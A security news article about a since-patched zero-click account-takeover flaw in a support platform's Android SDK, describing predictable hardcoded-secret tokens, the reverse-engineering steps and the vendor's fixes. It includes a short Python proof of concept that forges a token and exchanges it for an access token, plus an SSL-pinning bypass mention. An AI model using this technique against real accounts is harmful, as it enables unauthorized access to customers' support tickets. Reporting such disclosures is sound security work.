0-Click Zendesk Flaw Lets Hackers Hijack Accounts and View All Tickets

A critical zero-click vulnerability in Zendesk’s Android SDK has been uncovered, enabling attackers to hijack support accounts and harvest every ticket without any user interaction.

Discovered during a private bug bounty program, the flaw stems from weak token generation and storage mechanisms within Zendesk’s mobile application.

Vulnerability Overview

Zendesk’s Android client generates authentication tokens by combining three predictable elements: the victim’s account ID, a static hardcoded secret, and the SHA-1 hash of that concatenation.

Specifically, the app constructs a string in the format COMPANY-<AccountID>-<Secret>, applies SHA-1 to it, and then prefixes the result with the account ID to form the JWT-style token.

Because the account IDs are sequential and the secret is embedded directly in the binary, an attacker can brute-force valid tokens for any user.

Once generated, these tokens are sent via a simple POST request to /access/sdk/jwt to receive an access token, which grants unfettered API access.

The researcher employed both static and dynamic analysis techniques.

Using JADX to reverse-engineer the SDK, they identified the critical methods: ZendeskHelper.g(), which builds and stores the identity token, and related storage APIs under ZendeskIdentityStorage and ZendeskIdentityManager.

Runtime hooks via Frida confirmed that the secret is never rotated or device-specific and that identity persists across sessions until the app’s cache is explicitly cleared.

Dynamic testing involved intercepting network traffic through Burp Suite after bypassing SSL pinning with a Frida script.

The intercepted POST request included only the user token, and returned a reusable access token. No rate limits or one-time restrictions were in place, allowing unlimited token refreshes.

Exploitation

By scripting the process in Python, the researcher automated token creation, access token retrieval, and ticket enumeration.

A simple loop over account IDs could breach hundreds of thousands of accounts en masse. The exploit requires no user action—no phishing, no social engineering—making it a true zero-click compromise.

import hashlib, requests
def gen_sha1(full_string):
    return hashlib.sha1(full_string.encode()).hexdigest()

def get_access_token(user_token):
    url = "https://COMPANY.zendesk.com/access/sdk/jwt"
    resp = requests.post(url, json={"user":{"token": user_token}})
    return resp.json()['authentication']['access_token']

user_id = "131070497"
secret = "987sdasdlkjlakdjf"
full = f"COMPANY-{user_id}-{secret}"
token = f"{user_id}_{gen_sha1(full)}"
access = get_access_token(token)
print("Access Token:", access)

Successful exploitation grants read and write access to all support tickets for any targeted user. Attackers could exfiltrate sensitive customer inquiries, inject fraudulent tickets, or escalate privileges within Zendesk’s support ecosystem.

Upon responsible disclosure, Zendesk promptly acknowledged the issue and issued a patch to:

1. Replace the static secret with per-device, per-user randomized keys.
2. Enforce strict rate limiting on JWT exchange endpoints.
3. Harden token storage using Android’s secure keystore.

This zero-click vulnerability underlines the critical importance of robust token generation and management in mobile SDKs.

Even widely trusted platforms like Zendesk can introduce high-impact flaws when predictable values and static secrets are used.

Security teams must rigorously audit third-party libraries and enforce best practices—rotating secrets, using hardware-backed storage, and rate-limiting authentication flows—to defend against silent but devastating account takeovers.

Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!